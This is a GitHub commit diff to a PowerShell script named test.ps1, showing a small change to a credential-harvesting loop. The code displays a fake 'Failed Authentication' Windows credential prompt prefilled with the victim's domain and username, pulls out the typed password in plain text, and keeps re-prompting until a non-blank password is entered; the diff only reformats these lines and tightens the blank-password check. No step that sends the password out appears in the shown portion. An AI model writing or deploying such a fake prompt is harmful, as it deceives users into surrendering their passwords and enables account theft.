Update test.ps1

This commit is contained in:
I-Am-Jakoby 2023-01-03 20:26:32 -06:00 committed by GitHub
parent 3c7f15b490
commit 4bd643c823
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -53,9 +53,10 @@ $form = $null
while ($form -eq $null)
{
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName);
$cred.getnetworkcredential().password
if ($cred.Password -eq $null)
if([string]::IsNullOrWhiteSpace([Net.NetworkCredential]::new('', $cred.Password).Password))
{
Write-Output "Credentials cannot be left blank. Please try again."
$form = $null